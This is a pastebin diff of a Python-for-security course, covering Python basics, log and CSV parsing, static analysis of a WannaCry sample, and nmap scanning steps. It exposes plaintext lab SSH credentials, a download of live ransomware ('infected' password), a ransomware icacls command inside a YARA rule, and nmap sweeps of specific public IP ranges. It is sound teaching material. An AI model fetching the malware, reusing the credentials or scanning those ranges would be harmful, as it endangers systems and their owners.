SHOW:
|
|
- or go back to the newest paste.
1 | - | I often get asked how I did it. How did I learn Python without having been a computer science major, without having gone to college, and for that matter not actually learning to program until I had been in the field for 8 years. Here is what I did. |
1 | + | ######################################################### |
2 | ----------- ############### # Day 1: Python Fundamentals & File Parsing with Python # ############### ----------- | |
3 | ######################################################### | |
4 | - | Step 1: Watch and do the newboston Python video series twice |
4 | + | |
5 | - | https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA |
5 | + | |
6 | ##################### | |
7 | # Installing Python # | |
8 | - | Step 2: Watch and do the Google Python workshop twice |
8 | + | |
9 | - | https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl |
9 | + | |
10 | ||
11 | https://www.python.org/downloads/ | |
12 | - | Step 3: Download all of the Python tools from PacketStorm and analyze the source code |
12 | + | |
13 | - | https://packetstormsecurity.com/files/tags/python |
13 | + | |
14 | https://www.python.org/ftp/python/3.7.3/python-3.7.3-webinstall.exe | |
15 | ||
16 | - | Here is the code from Packet Storm |
16 | + | |
17 | - | https://drive.google.com/file/d/1oWW2oDU1ZE7ulEop-Eye3lAWYf6hDAMx/view?usp=sharing |
17 | + | |
18 | ||
19 | - | I went through almost every single file and looked up the code that I didn't understand. |
19 | + | |
20 | - | I also asked programmers to help me understand the lines of code that didn't make sense. |
20 | + | |
21 | - | In the folder RAC-Brute I actually had to hire a developer from an outsourcing website to comment, |
21 | + | |
22 | - | and explain the tool to me. |
22 | + | |
23 | ---------------------------Type This----------------------------------- | |
24 | - | Here is what I got out of doing that: |
24 | + | |
25 | - | https://drive.google.com/file/d/1bS-iFvA64cjls4A7MPHrhJEKZlCEqqMy/view?usp=sharing |
25 | + | |
26 | Debian/Ubuntu: sudo apt-get install -y python | |
27 | RHEL/CentOS/Fedora: sudo yum install -y python | |
28 | ||
29 | - | Distilled that into this: |
29 | + | |
30 | - | https://drive.google.com/file/d/1IiIaDGlN66Wcd3vwDuMs_ETHNeHp8O62/view?usp=sharing |
30 | + | |
31 | ||
32 | After you install Python in Linux the next thing that you will need to do is install idle. | |
33 | ||
34 | ---------------------------Type This----------------------------------- | |
35 | - | ############################## |
35 | + | |
36 | - | ----------- ############### # Day 1: Python Fundamentals # ############### ----------- |
36 | + | |
37 | - | ############################## |
37 | + | |
38 | ----------------------------------------------------------------------- | |
39 | ||
40 | Open IDLE, and let's just dive right in. | |
41 | ||
42 | ||
43 | - I prefer to use Putty to SSH into my Linux host. | |
44 | - You can download Putty from here: | |
45 | - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe | |
46 | ||
47 | Here is the information to put into putty | |
48 | ||
49 | Host Name: 108.61.216.188 | |
50 | protocol: ssh | |
51 | port: 22 | |
52 | username: usn | |
53 | password: norway!cybersecurity! | |
54 | ||
55 | ||
56 | #################################### | |
57 | # Python Lesson 1: Simple Printing # | |
58 | #################################### | |
59 | ||
60 | ---------------------------Type This----------------------------------- | |
61 | $ python3 | |
62 | ||
63 | >>> print ("Today we are learning Python.") | |
64 | ||
65 | >>> exit() | |
66 | ----------------------------------------------------------------------- | |
67 | ||
68 | ||
69 | ||
70 | ||
71 | ############################################ | |
72 | # Python Lesson 2: Simple Numbers and Math # | |
73 | ############################################ | |
74 | ||
75 | ---------------------------Type This----------------------------------- | |
76 | $ python3 | |
77 | ||
78 | >>> 2+2 | |
79 | ||
80 | >>> 6-3 | |
81 | ||
82 | >>> 18/7 | |
83 | - | Host Name: 149.28.201.171 |
83 | + | |
84 | >>> 18.0/7 | |
85 | ||
86 | - | username: secureninja |
86 | + | |
87 | - | password: secureninjapython3! |
87 | + | |
88 | >>> 18/7 | |
89 | ||
90 | >>> 9%4 | |
91 | 1 | |
92 | >>> 8%4 | |
93 | 0 | |
94 | >>> 8.75%.5 | |
95 | ||
96 | >>> 6.*7 | |
97 | ||
98 | >>> 7*7*7 | |
99 | ||
100 | >>> 7**3 | |
101 | ||
102 | >>> 5**12 | |
103 | ||
104 | >>> -5**4 | |
105 | ||
106 | >>> exit() | |
107 | ||
108 | ----------------------------------------------------------------------- | |
109 | ||
110 | ||
111 | ||
112 | ############################## | |
113 | # Python Lesson 3: Variables # | |
114 | ############################## | |
115 | ||
116 | ---------------------------Type This----------------------------------- | |
117 | $ python3 | |
118 | ||
119 | >>> x=18 | |
120 | ||
121 | >>> x+15 | |
122 | ||
123 | >>> x**3 | |
124 | ||
125 | >>> y=54 | |
126 | ||
127 | >>> g=int(input("Enter number here: ")) | |
128 | Enter number here: 43 | |
129 | >>> g | |
130 | ||
131 | >>> g+32 | |
132 | ||
133 | >>> g**3 | |
134 | ||
135 | >>> exit() | |
136 | ||
137 | ----------------------------------------------------------------------- | |
138 | ||
139 | ||
140 | ||
141 | ||
142 | ||
143 | ########################################## | |
144 | # Python Lesson 4: Modules and Functions # | |
145 | ########################################## | |
146 | ||
147 | ---------------------------Type This----------------------------------- | |
148 | $ python3 | |
149 | ||
150 | >>> 5**4 | |
151 | ||
152 | >>> pow(5,4) | |
153 | ||
154 | >>> abs(-18) | |
155 | ||
156 | >>> abs(5) | |
157 | ||
158 | >>> floor(18.7) | |
159 | ||
160 | >>> import math | |
161 | ||
162 | >>> math.floor(18.7) | |
163 | ||
164 | >>> math.ceil(18.7) | |
165 | ||
166 | >>> math.sqrt(81) | |
167 | ||
168 | >>> joe = math.sqrt | |
169 | ||
170 | >>> joe(9) | |
171 | ||
172 | >>> joe=math.floor | |
173 | ||
174 | >>> joe(19.8) | |
175 | ||
176 | >>> exit() | |
177 | ||
178 | ----------------------------------------------------------------------- | |
179 | ||
180 | ||
181 | ||
182 | ############################ | |
183 | # Python Lesson 5: Strings # | |
184 | ############################ | |
185 | ||
186 | ---------------------------Type This----------------------------------- | |
187 | $ python3 | |
188 | ||
189 | >>> "XSS" | |
190 | ||
191 | >>> 'SQLi' | |
192 | ||
193 | >>> "Joe's a python lover" | |
194 | ||
195 | >>> "Joe said \"InfoSec is fun\" to me" | |
196 | ||
197 | >>> a = "Joe" | |
198 | ||
199 | >>> b = "McCray" | |
200 | ||
201 | >>> a, b | |
202 | ||
203 | >>> a+b | |
204 | ||
205 | >>> exit() | |
206 | ----------------------------------------------------------------------- | |
207 | ||
208 | ||
209 | ||
210 | ||
211 | ||
212 | ################################# | |
213 | # Python Lesson 6: More Strings # | |
214 | ################################# | |
215 | ||
216 | ---------------------------Type This----------------------------------- | |
217 | $ python3 | |
218 | ||
219 | >>> num = 10 | |
220 | ||
221 | >>> num + 2 | |
222 | ||
223 | >>> "The number of open ports found on this system is ", num | |
224 | ||
225 | >>> num = str(18) | |
226 | ||
227 | >>> "There are ", num, " vulnerabilities found in this environment." | |
228 | ||
229 | >>> num2 = 46 | |
230 | ||
231 | >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2 | |
232 | ||
233 | >>> exit() | |
234 | ----------------------------------------------------------------------- | |
235 | ||
236 | ||
237 | ||
238 | ||
239 | ||
240 | ######################################## | |
241 | # Python Lesson 7: Sequences and Lists # | |
242 | ######################################## | |
243 | ||
244 | ---------------------------Type This----------------------------------- | |
245 | $ python3 | |
246 | ||
247 | >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include'] | |
248 | ||
249 | >>> attacks | |
250 | ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include'] | |
251 | ||
252 | >>> attacks[3] | |
253 | 'SQL Injection' | |
254 | ||
255 | >>> attacks[-2] | |
256 | 'Cross-Site Scripting' | |
257 | ||
258 | >>> exit() | |
259 | ||
260 | ||
261 | ||
262 | ------------------------------- Summary of fundamentals ------------------------------- | |
263 | ||
264 | ||
265 | Joe rule #1 single quote, single quote, left arrow | |
266 | -------------------------------------------------- | |
267 | '' <-- as soon as you type '', then hit your left arrow key to put you inside of the '' | |
268 | "" <-- as soon as you type "", then hit your left arrow key to put you inside of the "" | |
269 | something() <-- as soon as you type (), then hit your left arrow key to put you inside of the () | |
270 | something[] <-- as soon as you type [], then hit your left arrow key to put you inside of the [] | |
271 | something{} <-- as soon as you type {}, then hit your left arrow key to put you inside of the {} | |
272 | ||
273 | -- Now kick it up a notch | |
274 | [] <-- as soon as you type [], then hit your left arrow key to put you inside of the [] | |
275 | [()] <-- as soon as you type (), then hit your left arrow key to put you inside of the () | |
276 | [({})] <-- as soon as you type {}, then hit your left arrow key to put you inside of the {} | |
277 | [({"''"})] <-- as soon as you type "", then hit your left arrow key to put you inside of the "" | |
278 | [({"''"})] <-- as soon as you type '', then hit your left arrow key to put you inside of the '' | |
279 | ||
280 | ||
281 | ||
282 | Joe rule #2 "Code can only do 3 things" | |
283 | -------------------------------------- | |
284 | ||
285 | Process - read, write, math | |
286 | ||
287 | Decision - if/then | |
288 | ||
289 | Loop - for | |
290 | ||
291 | ||
292 | ||
293 | ||
294 | Joe rule #3 "Never more than 5-10" | |
295 | --------------------------------- | |
296 | ||
297 | -----5 lines of code---- | |
298 | line 1 blah blah blah | |
299 | line 2 blah blah blah | |
300 | line 3 blah blah blah | |
301 | line 4 blah blah blah | |
302 | line 5 blah blah blah | |
303 | ||
304 | ||
305 | sales_tax = price * tax_rate | |
306 | ||
307 | ||
308 | 0.80 = 10 * 0.08 | |
309 | ||
310 | -----5-10 lines of code---- = function | |
311 | price = 10 | |
312 | ||
313 | def st(): | |
314 | sales_tax = price * 0.08 | |
315 | print(sales_tax) | |
316 | ||
317 | ||
318 | st(10) <---- how to run a function | |
319 | ||
320 | -----5-10 functions ---- = class "tax class" | |
321 | st() | |
322 | lt() | |
323 | pt() | |
324 | it() | |
325 | dt() | |
326 | ||
327 | ||
328 | ||
329 | tax.st() | |
330 | tax.lt() | |
331 | ||
332 | -----5-10 functions ---- = class "expense class" | |
333 | gas() | |
334 | elec() | |
335 | water() | |
336 | food() | |
337 | beer() | |
338 | ||
339 | expense.gas() | |
340 | ||
341 | ||
342 | -----5-10 classes ---- = module "finance module" | |
343 | ||
344 | import finance | |
345 | ||
346 | ||
347 | ------------------------------- Summary of fundamentals ------------------------------- | |
348 | ||
349 | ################################## | |
350 | # Lesson 8: Intro to Log Analysis # | |
351 | ################################## | |
352 | ||
353 | ||
354 | Log into your Linux host then execute the following commands: | |
355 | ----------------------------------------------------------------------- | |
356 | NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt. | |
357 | ||
358 | ||
359 | ||
360 | ---------------------------Type This----------------------------------- | |
361 | mkdir yourname <---- Use your actual first name (all lowercase and no spaces) instead of the word yourname | |
362 | ||
363 | cd yourname | |
364 | ||
365 | wget http://pastebin.com/raw/85zZ5TZX | |
366 | ||
367 | mv 85zZ5TZX access_log | |
368 | ||
369 | ||
370 | cat access_log | grep 141.101.80.188 | |
371 | ||
372 | cat access_log | grep 141.101.80.188 | wc -l | |
373 | ||
374 | cat access_log | grep 141.101.80.187 | |
375 | ||
376 | cat access_log | grep 141.101.80.187 | wc -l | |
377 | ||
378 | cat access_log | grep 108.162.216.204 | |
379 | ||
380 | cat access_log | grep 108.162.216.204 | wc -l | |
381 | ||
382 | cat access_log | grep 173.245.53.160 | |
383 | ||
384 | cat access_log | grep 173.245.53.160 | wc -l | |
385 | ||
386 | ---------------------------------------------------------------------- | |
387 | ||
388 | ||
389 | ||
390 | ||
391 | ||
392 | ||
393 | ||
394 | ############################################################### | |
395 | # Python Lesson 9: Use Python to read in a file line by line # | |
396 | ############################################################### | |
397 | ||
398 | ||
399 | ---------------------------Type This----------------------------------- | |
400 | ||
401 | nano logread1.py | |
402 | ||
403 | ||
404 | ---------------------------Paste This----------------------------------- | |
405 | ## Open the file with read only permit | |
406 | f = open('access_log', "r") | |
407 | ||
408 | ## use readlines to read all lines in the file | |
409 | ## The variable "lines" is a list containing all lines | |
410 | lines = f.readlines() | |
411 | ||
412 | print (lines) | |
413 | ||
414 | ||
415 | ## close the file after reading the lines. | |
416 | f.close() | |
417 | ||
418 | ---------------------------------------------------------------------- | |
419 | ||
420 | ||
421 | ||
422 | ||
423 | ---------------------------Type This----------------------------------- | |
424 | $ python3 logread1.py | |
425 | ---------------------------------------------------------------------- | |
426 | ||
427 | ||
428 | ||
429 | Google the following: | |
430 | - python difference between readlines and readline | |
431 | - python readlines and readline | |
432 | ||
433 | ||
434 | Here is one student's solution - can you please explain each line of this code to me? | |
435 | ||
436 | ||
437 | ---------------------------Type This----------------------------------- | |
438 | nano ip_search.py | |
439 | ||
440 | ||
441 | ---------------------------Paste This----------------------------------- | |
442 | #!/usr/bin/env python3 | |
443 | ||
444 | f = open('access_log') | |
445 | ||
446 | strUsrinput = input("Enter IP Address: ") | |
447 | ||
448 | for line in iter(f): | |
449 | ip = line.split(" - ")[0] | |
450 | if ip == strUsrinput: | |
451 | print (line) | |
452 | ||
453 | f.close() | |
454 | ||
455 | ||
456 | ---------------------------------------------------------------------- | |
457 | ||
458 | ||
459 | ||
460 | ||
461 | ---------------------------Type This----------------------------------- | |
462 | $ python3 ip_search.py | |
463 | ---------------------------------------------------------------------- | |
464 | ||
465 | ||
466 | ||
467 | Working with another student after class we came up with another solution: | |
468 | ||
469 | ---------------------------Type This----------------------------------- | |
470 | nano ip_search2.py | |
471 | ||
472 | ---------------------------Paste This----------------------------------- | |
473 | #!/usr/bin/env python3 | |
474 | ||
475 | ||
476 | # This line opens the log file | |
477 | f=open('access_log',"r") | |
478 | ||
479 | # This line takes each line in the log file and stores it as an element in the list | |
480 | lines = f.readlines() | |
481 | ||
482 | ||
483 | # This lines stores the IP that the user types as a var called userinput | |
484 | userinput = input("Enter the IP you want to search for: ") | |
485 | ||
486 | ||
487 | ||
488 | # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found. | |
489 | for ip in lines: | |
490 | if ip.find(userinput) != -1: | |
491 | print (ip) | |
492 | ||
493 | ---------------------------------------------------------------------- | |
494 | ||
495 | ||
496 | ||
497 | ---------------------------Type This----------------------------------- | |
498 | $ python3 ip_search2.py | |
499 | ---------------------------------------------------------------------- | |
500 | ||
501 | ||
502 | ################################ | |
503 | # Lesson 10: Parsing CSV Files # | |
504 | ################################ | |
505 | ||
506 | Type the following commands: | |
507 | --------------------------------------------------------------------------------------------------------- | |
508 | ||
509 | ---------------------------Type This----------------------------------- | |
510 | ||
511 | wget http://45.63.104.73/class_nessus.csv | |
512 | ||
513 | ---------------------------------------------------------------------- | |
514 | ||
515 | Example 1 - Reading CSV files | |
516 | ----------------------------- | |
517 | #To be able to read csv formated files, we will first have to import the | |
518 | #csv module. | |
519 | ||
520 | ||
521 | ---------------------------Type This----------------------------------- | |
522 | $ python3 | |
523 | f = open('class_nessus.csv', 'r') | |
524 | for row in f: | |
525 | print (row) | |
526 | ||
527 | ||
528 | ---------------------------------------------------------------------- | |
529 | ||
530 | ||
531 | ||
532 | Example 2 - Reading CSV files | |
533 | ----------------------------- | |
534 | ||
535 | ---------------------------Type This----------------------------------- | |
536 | ||
537 | nano readcsv.py | |
538 | ||
539 | ---------------------------Paste This----------------------------------- | |
540 | #!/usr/bin/env python3 | |
541 | f = open('class_nessus.csv', 'r') # opens the csv file | |
542 | try: | |
543 | for row in f: # iterates the rows of the file in orders | |
544 | print (row) # prints each row | |
545 | finally: | |
546 | f.close() # closing | |
547 | ||
548 | ||
549 | ||
550 | ---------------------------------------------------------------------- | |
551 | ||
552 | ||
553 | ||
554 | Ok, now let's run this thing. | |
555 | ||
556 | --------------------------Type This----------------------------------- | |
557 | $ python3 readcsv.py | |
558 | ||
559 | ---------------------------------------------------------------------- | |
560 | ||
561 | ||
562 | ||
563 | ||
564 | Example 3 - - Reading CSV files | |
565 | ------------------------------- | |
566 | ||
567 | ---------------------------Type This----------------------------------- | |
568 | ||
569 | nano readcsv2.py | |
570 | ||
571 | ---------------------------Paste This----------------------------------- | |
572 | #!/usr/bin/python3 | |
573 | # This program will then read it and displays its contents. | |
574 | ||
575 | import csv | |
576 | ||
577 | ifile = open('class_nessus.csv', "r") | |
578 | reader = csv.reader(ifile) | |
579 | ||
580 | rownum = 0 | |
581 | for row in reader: | |
582 | # Save header row. | |
583 | if rownum == 0: | |
584 | header = row | |
585 | else: | |
586 | colnum = 0 | |
587 | for col in row: | |
588 | print ('%-8s: %s' % (header[colnum], col)) | |
589 | colnum += 1 | |
590 | ||
591 | rownum += 1 | |
592 | ||
593 | ifile.close() | |
594 | ||
595 | ||
596 | ||
597 | ---------------------------------------------------------------------- | |
598 | ||
599 | ||
600 | ||
601 | ---------------------------Type This----------------------------------- | |
602 | ||
603 | $ python3 readcsv2.py | less | |
604 | ||
605 | ||
606 | ---------------------------------------------------------------------- | |
607 | ||
608 | ||
609 | ||
610 | ||
611 | ||
612 | ||
613 | ||
614 | ||
615 | ||
616 | ---------------------------Type This----------------------------------- | |
617 | ||
618 | nano readcsv3.py | |
619 | ||
620 | ---------------------------Paste This----------------------------------- | |
621 | #!/usr/bin/python3 | |
622 | import csv | |
623 | f = open('class_nessus.csv', 'r') | |
624 | try: | |
625 | rownum = 0 | |
626 | reader = csv.reader(f) | |
627 | for row in reader: | |
628 | #Save header row. | |
629 | if rownum == 0: | |
630 | header = row | |
631 | else: | |
632 | colnum = 0 | |
633 | if row[3].lower() == 'high': | |
634 | print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])) | |
635 | rownum += 1 | |
636 | finally: | |
637 | f.close() | |
638 | ||
639 | ----------------------------------------------------------------------- | |
640 | ||
641 | ||
642 | ---------------------------Type This----------------------------------- | |
643 | ||
644 | $ python3 readcsv3.py | less | |
645 | ----------------------------------------------------------------------- | |
646 | ||
647 | ||
648 | ||
649 | ---------------------------Type This----------------------------------- | |
650 | ||
651 | nano readcsv4.py | |
652 | ----------------------------------------------------------------------- | |
653 | ||
654 | ---------------------------Paste This----------------------------------- | |
655 | ||
656 | #!/usr/bin/python3 | |
657 | import csv | |
658 | f = open('class_nessus.csv', 'r') | |
659 | try: | |
660 | print ('/---------------------------------------------------/') | |
661 | rownum = 0 | |
662 | hosts = {} | |
663 | reader = csv.reader(f) | |
664 | for row in reader: | |
665 | # Save header row. | |
666 | if rownum == 0: | |
667 | header = row | |
668 | else: | |
669 | colnum = 0 | |
670 | if row[3].lower() == 'high' and row[4] not in hosts: | |
671 | hosts[row[4]] = row[4] | |
672 | print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])) | |
673 | rownum += 1 | |
674 | finally: | |
675 | f.close() | |
676 | ---------------------------------------------------------------------- | |
677 | ||
678 | ||
679 | ||
680 | $ python3 readcsv4.py | less | |
681 | ||
682 | ---------------------------------------------------------------------- | |
683 | ||
684 | ||
685 | ||
686 | ||
687 | ||
688 | ||
689 | ||
690 | ####################################### | |
691 | ----------- ############### # Day 1: Malware analysis with Python # ############### ----------- | |
692 | ####################################### | |
693 | Here is the information to put into putty | |
694 | ||
695 | Host Name: 108.61.216.188 | |
696 | protocol: ssh | |
697 | port: 22 | |
698 | username: usn | |
699 | password: norway!cybersecurity! | |
700 | ||
701 | ||
702 | ||
703 | ||
704 | ||
705 | cd ~/yourname | |
706 | ||
707 | wget http://45.63.104.73/wannacry.zip | |
708 | ||
709 | unzip wannacray.zip | |
710 | **** password is infected *** | |
711 | ||
712 | file wannacry.exe | |
713 | ||
714 | objdump -x wannacry.exe | |
715 | ||
716 | strings wannacry.exe | |
717 | ||
718 | strings --all wannacry.exe | head -n 6 | |
719 | ||
720 | strings wannacry.exe | grep -i dll | |
721 | ||
722 | strings wannacry.exe | grep -i library | |
723 | ||
724 | strings wannacry.exe | grep -i reg | |
725 | - | ----------- ############### # Day 2: Malware analysis with Python # ############### ----------- |
725 | + | |
726 | strings wannacry.exe | grep -i key | |
727 | ||
728 | strings wannacry.exe | grep -i rsa | |
729 | - | Host Name: 149.28.201.171 |
729 | + | |
730 | strings wannacry.exe | grep -i open | |
731 | ||
732 | - | username: secureninja |
732 | + | |
733 | - | password: secureninjapython3! |
733 | + | |
734 | strings wannacry.exe | grep -i mutex | |
735 | ||
736 | strings wannacry.exe | grep -i irc | |
737 | ||
738 | - | mkdir ~/yourname |
738 | + | |
739 | ||
740 | strings wannacry.exe | grep -i admin | |
741 | ||
742 | strings wannacry.exe | grep -i list | |
743 | ||
744 | - | unzip wannacry.zip |
744 | + | |
745 | ------------------------------------------------------------------------------------------- | |
746 | ||
747 | ||
748 | Indicators of Compromise (IoC) | |
749 | ----------------------------- | |
750 | ||
751 | 1. Modify the filesystem | |
752 | 2. Modify the registry - ADVAPI32.dll (persistance) | |
753 | 3. Modify processes/services | |
754 | 4. Connect to the network - WS2_32.dll | |
755 | ||
756 | ||
757 | ||
758 | if you can't detect a registry change across 5% of your network | |
759 | ||
760 | ||
761 | ||
762 | EDR Solution | |
763 | ------------ | |
764 | ||
765 | ||
766 | 1. Static Analysis <----------------------------------------- Cloud based static analysis | |
767 | Learn everything I can without actually running the file | |
768 | - Modify FS - File integrity checker | |
769 | - Modify registry | |
770 | - Modify processes/services | |
771 | - Connect to the network | |
772 | ||
773 | ||
774 | ||
775 | 2. Dynamic Analysis | |
776 | Runs the file in a VM/Sandbox | |
777 | ||
778 | ################ | |
779 | # The Scenario # | |
780 | ################ | |
781 | You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts). | |
782 | ||
783 | ||
784 | The fastest thing you can do is perform static analysis. | |
785 | ||
786 | ||
787 | ||
788 | ||
789 | ||
790 | ||
791 | Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry" | |
792 | ||
793 | Quick Google search for "wannacry ransomeware analysis" | |
794 | ||
795 | ||
796 | Reference | |
797 | https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/ | |
798 | ||
799 | - Yara Rule - | |
800 | ||
801 | ||
802 | Strings: | |
803 | $s1 = “Ooops, your files have been encrypted!” wide ascii nocase | |
804 | $s2 = “Wanna Decryptor” wide ascii nocase | |
805 | $s3 = “.wcry” wide ascii nocase | |
806 | $s4 = “WANNACRY” wide ascii nocase | |
807 | $s5 = “WANACRY!” wide ascii nocase | |
808 | $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase | |
809 | ||
810 | ||
811 | ||
812 | ||
813 | ||
814 | ||
815 | ||
816 | ||
817 | Ok, let's look for the individual strings | |
818 | ||
819 | ---------------------------Type This----------------------------------- | |
820 | ||
821 | ||
822 | strings wannacry.exe | grep -i ooops | |
823 | ||
824 | strings wannacry.exe | grep -i wanna | |
825 | ||
826 | - | # Static Analysis # |
826 | + | |
827 | ||
828 | strings wannacry.exe | grep -i wannacry | |
829 | - | - After logging please open a terminal window and type the following commands: |
829 | + | |
830 | strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm..... | |
831 | ||
832 | ||
833 | ----------------------------------------------------------------------- | |
834 | - | wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe |
834 | + | |
835 | ||
836 | ||
837 | ||
838 | ||
839 | #################################### | |
840 | - | unzip wannacry.zip |
840 | + | |
841 | - | infected |
841 | + | |
842 | Decided to make my own script for this kind of stuff in the future. | |
843 | - | file wannacry.exe |
843 | + | |
844 | ||
845 | - | cp wannacry.exe malware.pdf |
845 | + | |
846 | ---------------------------Type This----------------------------------- | |
847 | - | file malware.pdf |
847 | + | |
848 | cp ../am.py . | |
849 | - | mv malware.pdf wannacry.exe |
849 | + | |
850 | ----------------------------------------------------------------------- | |
851 | - | hexdump -n 2 -C wannacry.exe |
851 | + | |
852 | ||
853 | This is a really good script for the basics of static analysis | |
854 | ||
855 | Reference: | |
856 | https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html | |
857 | - | ***What is '4d 5a' or 'MZ'*** |
857 | + | |
858 | ||
859 | - | http://www.garykessler.net/library/file_sigs.html |
859 | + | This is really good for showing some good signatures to add to the Python script that I wrote |
860 | ||
861 | ||
862 | ||
863 | ||
864 | ||
865 | ---------------------------Type This----------------------------------- | |
866 | python3 am.py wannacry.exe | |
867 | ----------------------------------------------------------------------- | |
868 | ||
869 | ||
870 | ||
871 | ############## | |
872 | # Class task # | |
873 | ############## | |
874 | Go to these websites: | |
875 | https://joesecurity.org/joe-sandbox-reports | |
876 | https://github.com/Yara-Rules/rules | |
877 | ||
878 | As a class you must do the following: | |
879 | 1. Come up with 3 types of attacks that you want to update my am.py script to look for | |
880 | 2. Identify the signatures that you think would be best for finding these types of attacks and why | |
881 | 3. Update the am.py script to accomplish this task | |
882 | ||
883 | ||
884 | ################################# | |
885 | ----------- ############### # Day 2: Software Exploitation # ############### ----------- | |
886 | ################################# | |
887 | ||
888 | ######################## | |
889 | # Scanning Methodology # | |
890 | ######################## | |
891 | ||
892 | - Ping Sweep | |
893 | What's alive? | |
894 | ------------ | |
895 | ||
896 | ---------------------------Type this command----------------------------------- | |
897 | sudo nmap -sP 157.166.226.* | |
898 | ------------------------------------------------------------------------------- | |
899 | ||
900 | ||
901 | ||
902 | -if -SP yields no results try: | |
903 | ---------------------------Type this command----------------------------------- | |
904 | sudo nmap -sL 157.166.226.* | |
905 | ------------------------------------------------------------------------------- | |
906 | ||
907 | ||
908 | ||
909 | - | Decided to make my own script for this kind of stuff in the future. I |
909 | + | |
910 | ---------------------------Type this command----------------------------------- | |
911 | - | Reference 1: |
911 | + | |
912 | - | http://45.63.104.73/analyse_malware.py |
912 | + | |
913 | ||
914 | ||
915 | ||
916 | - Port Scan | |
917 | What's where? | |
918 | ------------ | |
919 | ---------------------------Type this command----------------------------------- | |
920 | - | This is really good for showing some good signatures to add to the Python script |
920 | + | |
921 | ------------------------------------------------------------------------------- | |
922 | ||
923 | - | Here is my own script using the signatures (started this yesterday, but still needs work): |
923 | + | |
924 | - | https://pastebin.com/guxzCBmP |
924 | + | |
925 | - Bannergrab/Version Query | |
926 | What versions of software are running | |
927 | ------------------------------------- | |
928 | ||
929 | ---------------------------Type this command----------------------------------- | |
930 | - | sudo apt install -y python-pefile |
930 | + | sudo nmap -sV 162.243.126.247 |
931 | - | infosecaddicts |
931 | + | |
932 | ||
933 | ||
934 | ||
935 | - | wget https://pastebin.com/raw/guxzCBmP |
935 | + | |
936 | - Vulnerability Research | |
937 | Lookup the banner versions for public exploits | |
938 | - | mv guxzCBmP am.py |
938 | + | |
939 | https://www.exploit-db.com/search | |
940 | http://securityfocus.com/bid | |
941 | https://packetstormsecurity.com/files/tags/exploit/ | |
942 | ||
943 | - | python am.py wannacry.exe |
943 | + | |
944 | ||
945 | Network Penetration Testing Process (known vulnerabilities) | |
946 | ----------------------------------------------------------- | |
947 | ||
948 | ||
949 | 1. Ping Sweep: | |
950 | The purpose of this step is to identify live hosts | |
951 | ||
952 | nmap -sP <ip-address/ip-range> | |
953 | ||
954 | ||
955 | 2. Port Scan | |
956 | - | # Yara Ninja # |
956 | + | |
957 | ||
958 | nmap -sS <ip-address/ip-range> | |
959 | ||
960 | ||
961 | 3. Bannergrab | |
962 | Identify the version of version of software running on each port | |
963 | ||
964 | - | https://www.mcafee.com/blogs/other-blogs/executive-perspectives/analysis-wannacry-ransomware-outbreak/ |
964 | + | |
965 | ||
966 | ||
967 | ||
968 | 4. Vulnerability Research | |
969 | Use the software version number to research and determine if it is out of date (vulnerable). | |
970 | ||
971 | exploit-db.com/search | |
972 | ||
973 | ||
974 | #################### | |
975 | # Day 2 Class Task # | |
976 | #################### | |
977 | As a class you must do the following: | |
978 | 1. Understand the logic of the shell script below | |
979 | 2. Verify that this shell script runs against the target network | |
980 | 3. Port this shell script to Python3 | |
981 | ||
982 | Some resources that you may find helpful are: | |
983 | https://www.studytonight.com/network-programming-in-python/integrating-port-scanner-with-nmap | |
984 | https://github.com/rikosintie/nmap-python | |
985 | https://xael.org/pages/python-nmap-en.html | |
986 | https://xael.org/pages/python-nmap-en.html | |
987 | ||
988 | ||
989 | ----------------------------------------------------------------------- | |
990 | #!/bin/bash | |
991 | ############################################# | |
992 | # Check to see if script is running as root # | |
993 | ############################################# | |
994 | if [ "$EUID" -ne 0 ] | |
995 | then echo "Please run as root" | |
996 | exit | |
997 | fi | |
998 | ||
999 | ||
1000 | #################################### | |
1001 | # Check to see if gcc is installed # | |
1002 | #################################### | |
1003 | file1="/usr/bin/gcc" | |
1004 | if [ -f "$file1" ] | |
1005 | then | |
1006 | echo "$file is installed." | |
1007 | - | Let's see if we can get yara working. |
1007 | + | clear |
1008 | else | |
1009 | echo "$file not found." | |
1010 | echo Installing gcc | |
1011 | apt-get install -y gcc | |
1012 | clear | |
1013 | fi | |
1014 | ||
1015 | ######################## | |
1016 | # Make the directories # | |
1017 | - | nano wannacry_1.yar |
1017 | + | |
1018 | cd /tmp | |
1019 | rm -rf customerAudit/ | |
1020 | - | rule wannacry_1 : ransom |
1020 | + | rm -rf NetworkAudit/ |
1021 | - | { |
1021 | + | mkdir -p /tmp/NetworkAudit/discovered_services/ |
1022 | - | meta: |
1022 | + | mkdir -p /tmp/NetworkAudit/scan/windows/ |
1023 | - | author = "Joshua Cannell" |
1023 | + | mkdir -p /tmp/NetworkAudit/scan/sunrpc/ |
1024 | - | description = "WannaCry Ransomware strings" |
1024 | + | mkdir -p /tmp/NetworkAudit/scan/ssh/ |
1025 | - | weight = 100 |
1025 | + | mkdir -p /tmp/NetworkAudit/scan/ftp/ |
1026 | - | date = "2017-05-12" |
1026 | + | mkdir -p /tmp/NetworkAudit/scan/http/ |
1027 | mkdir -p /tmp/NetworkAudit/scan/telnet/ | |
1028 | - | strings: |
1028 | + | mkdir -p /tmp/NetworkAudit/scan/pop3/ |
